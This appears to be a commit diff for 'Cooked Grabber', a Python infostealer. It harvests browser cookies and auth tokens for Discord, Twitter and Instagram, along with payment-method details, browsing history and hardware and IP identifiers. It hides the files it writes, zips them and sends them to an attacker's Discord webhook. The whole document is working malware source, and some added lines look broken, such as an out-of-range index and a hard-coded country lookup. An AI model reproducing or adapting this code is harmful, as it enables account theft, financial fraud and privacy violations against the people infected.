19
19
from prettytable import PrettyTable
20
20
from platform import platform
21
21
from getmac import get_mac_address as gma
22
- from pycountry import countries
23
- from cpuinfo import get_cpu_info
24
22
from psutil import virtual_memory
25
23
from collections import defaultdict
26
24
from zipfile import ZipFile , ZIP_DEFLATED
25
+ from cpuinfo import get_cpu_info
26
+ from multiprocessing import freeze_support
27
27
28
28
website = ['discord.com' , 'twitter.com' , 'instagram.com' ]
29
29
@@ -43,15 +43,7 @@ def has_payment_methods(tk):
43
43
44
44
def cookies_grabber_mod (u ):
45
45
cookies = []
46
- browsers = [
47
- "chrome" ,
48
- "edge" ,
49
- "firefox" ,
50
- "brave" ,
51
- "opera" ,
52
- "vivaldi" ,
53
- "chromium" ,
54
- ]
46
+ browsers = ["chrome" , "edge" , "firefox" , "brave" , "opera" , "vivaldi" , "chromium" ]
55
47
for browser in browsers :
56
48
try :
57
49
cookies .append (str (getattr (browser_cookie3 , browser )(domain_name = u )))
@@ -131,7 +123,7 @@ def main():
131
123
db = connect (filename )
132
124
db .text_factory = lambda b : b .decode (errors = "ignore" )
133
125
for w in website :
134
- if w == 'discord.com' :
126
+ if w == website [ 0 ] :
135
127
tokens = []
136
128
def discord_tokens (path ):
137
129
for file_name in os .listdir (path ):
@@ -160,17 +152,17 @@ def find_wb(wb):
160
152
for t in threads :
161
153
t .start ()
162
154
t .join ()
163
- elif w == 'twitter.com' :
155
+ elif w == website [ 1 ] :
164
156
t_cookies , t_lst = ([] for _ in range (2 ))
165
- for b in cookies_grabber_mod ('twitter.com' ):
157
+ for b in cookies_grabber_mod (w ):
166
158
t_cookies .append (b .split (', ' ))
167
159
for c in t_cookies :
168
160
for y in c :
169
161
if search (r"auth_token" , y ) != None :
170
162
t_lst .append (y .split (' ' )[1 ].split ("=" )[1 ])
171
- elif w == 'instagram.com' :
163
+ elif w == website [ 2 ] :
172
164
insta_cookies , insta_lst = ([] for _ in range (2 ))
173
- for b in cookies_grabber_mod ('instagram.com' ):
165
+ for b in cookies_grabber_mod (w ):
174
166
insta_cookies .append (b .split (', ' ))
175
167
browser_ = defaultdict (dict )
176
168
for c in insta_cookies :
@@ -188,9 +180,8 @@ def find_wb(wb):
188
180
for x in insta_lst :
189
181
for y in x :
190
182
x [x .index (y )] = y [1 ]
191
- all_data_p , lst_b = ([] for _ in range (2 ))
192
183
for x in tokens :
193
- lst_b = has_payment_methods (x )
184
+ all_data_p , lst_b = [] , has_payment_methods (x )
194
185
try :
195
186
for n in range (len (lst_b )):
196
187
if lst_b [n ]['type' ] == 1 :
@@ -245,13 +236,13 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
245
236
payment_p .field_names = ["Email" , "Type" , "Billing Adress" ]
246
237
payment_p .add_row ([_p [0 ], "Paypal" , _p [2 ]])
247
238
pay_l .append (payment_p .get_string ())
248
- files_names = [["Discord Tokens.txt" , " discord_T" ], ["Twitter Token .txt" , " twitter_T" ], ["Instagram Token .txt" , " insta_T" ]]
239
+ files_names = [["Discord Tokens.txt" , discord_T ], ["Twitter Tokens .txt" , twitter_T ], ["Instagram Tokens .txt" , insta_T ]]
249
240
for x_ , y_ in files_names :
250
- if (y_ == files_names [0 ][1 ] and len (main_info [0 ])!= 0 ) or (y_ == files_names [1 ][1 ] and len (main_info [1 ])!= 0 ) or (y_ == files_names [2 ][1 ] and len (main_info [2 ])!= 0 ):
241
+ if (y_ == files_names [0 ][1 ] and len (main_info [0 ])!= 0 ) or (y_ == files_names [1 ][1 ] and len (main_info [1 ])!= 0 ) or (y_ == files_names [2 ][1 ] and len (main_info [2 ])!= 0 ) or ( y_ == files_names [ 3 ][ 1 ] and len ( main_info [ 4 ]) != 0 ) :
251
242
replace_new (x_ )
252
243
with open (x_ , 'w' ) as wr :
253
244
SetFileAttributes (x_ , win32con .FILE_ATTRIBUTE_HIDDEN )
254
- wr .write (eval ( f" { y_ } .get_string()" ))
245
+ wr .write (y_ .get_string ())
255
246
replace_new ("data.zip" )
256
247
with ZipFile ("data.zip" , mode = 'w' , compression = ZIP_DEFLATED ) as zip :
257
248
SetFileAttributes ("data.zip" , win32con .FILE_ATTRIBUTE_HIDDEN )
@@ -263,6 +254,7 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
263
254
f .write (f"{ i } \n " )
264
255
zip .write ("Payment Info.txt" )
265
256
os .remove ("Payment Info.txt" )
257
+ replace_new ("History.txt" )
266
258
with open ('History.txt' , 'w' ) as f :
267
259
SetFileAttributes ("History.txt" , win32con .FILE_ATTRIBUTE_HIDDEN ), f .write (find_His ())
268
260
zip .write ("History.txt" )
@@ -275,9 +267,9 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
275
267
webhook = DiscordWebhook (url = URL , username = 'H4XOR' , avatar_url = "https://images-ext-1.discordapp.net/external/0b5bkDNyeu-6aaEBkJECuydS2b0hIFcnnSNuvhlUjbM/https/i.pinimg.com/736x/42/d2/f5/42d2f541c7e6437272b01920b97a7282.jpg" )
276
268
embed = DiscordEmbed (title = 'Cooked Grabber' , color = '00FF00' )
277
269
embed .add_embed_field (name = 'SYSTEM USER INFO' , value = f":pushpin:`PC Username:` **{ os .getenv ('UserName' )} **\n :computer:`PC Name:` **{ os .getenv ('COMPUTERNAME' )} **\n :globe_with_meridians:`OS:` **{ platform ()} **\n " , inline = False )
278
- embed .add_embed_field (name = 'IP USER INFO' , value = f":eyes:`IP:` **{ p_lst [0 ]} **\n :golf:`Country:` **{ p_lst [1 ]} ** :flag_{ countries . get (name = p_lst [ 1 ]). alpha_2 .lower ()} :\n :cityscape:`City:` **{ p_lst [2 ]} **\n :shield:`MAC:` **{ gma ()} **\n :wrench:`HWID:` **{ get_hwid ()} **\n " , inline = False )
270
+ embed .add_embed_field (name = 'IP USER INFO' , value = f":eyes:`IP:` **{ p_lst [0 ]} **\n :golf:`Country:` **{ p_lst [1 ]} ** :flag_{ get ('https://restcountries.com/v3/ name/morocco' ). json ()[ 0 ][ 'cca2' ] .lower ()} :\n :cityscape:`City:` **{ p_lst [2 ]} **\n :shield:`MAC:` **{ gma ()} **\n :wrench:`HWID:` **{ get_hwid ()} **\n " , inline = False )
279
271
embed .add_embed_field (name = 'PC USER COMPONENT' , value = f":satellite_orbital:`CPU:` **{ cpuinfo ['brand_raw' ]} - { round (float (cpuinfo ['hz_advertised_friendly' ].split (' ' )[0 ]), 2 )} GHz**\n :nut_and_bolt:`RAM:` **{ round (virtual_memory ().total / (1024.0 ** 3 ), 2 )} GB**\n :desktop:`Resolution:` **{ GetSystemMetrics (0 )} x{ GetSystemMetrics (1 )} **\n " , inline = False )
280
- embed .add_embed_field (name = 'ACCOUNT HACKED ' , value = f":red_circle:`Discord:` **{ len (verified_tokens )} **\n :purple_circle:`Twitter:` **{ len (main_info [1 ])} **\n :blue_circle:`Instagram:` **{ len (main_info [2 ])} **\n " , inline = False )
272
+ embed .add_embed_field (name = 'ACCOUNT GRABBED ' , value = f":red_circle:`Discord:` **{ len (verified_tokens )} **\n :purple_circle:`Twitter:` **{ len (main_info [1 ])} **\n :blue_circle:`Instagram:` **{ len (main_info [2 ])} **\n " , inline = False )
281
273
card_e , paypal_e = ":white_check_mark:" if 'payment_card' in locals () else ":x:" , ":white_check_mark:" if 'payment_p' in locals () else ":x:"
282
274
embed .add_embed_field (name = 'PAYMENT INFO FOUNDED' , value = f":credit_card:`Debit or Credit Card:` { card_e } \n :money_with_wings:`Paypal:` { paypal_e } " , inline = False )
283
275
embed .set_author (
@@ -293,6 +285,7 @@ def send_webhook(DISCORD_WEBHOOK_URLs):
293
285
os .remove ("data.zip" )
294
286
295
287
if __name__ == "__main__" :
288
+ freeze_support ()
296
289
if len (sys .argv ) == 1 :
297
290
send_webhook (['YOUR DISCORD WEBHOOK URL' ])
298
291
else :
0 commit comments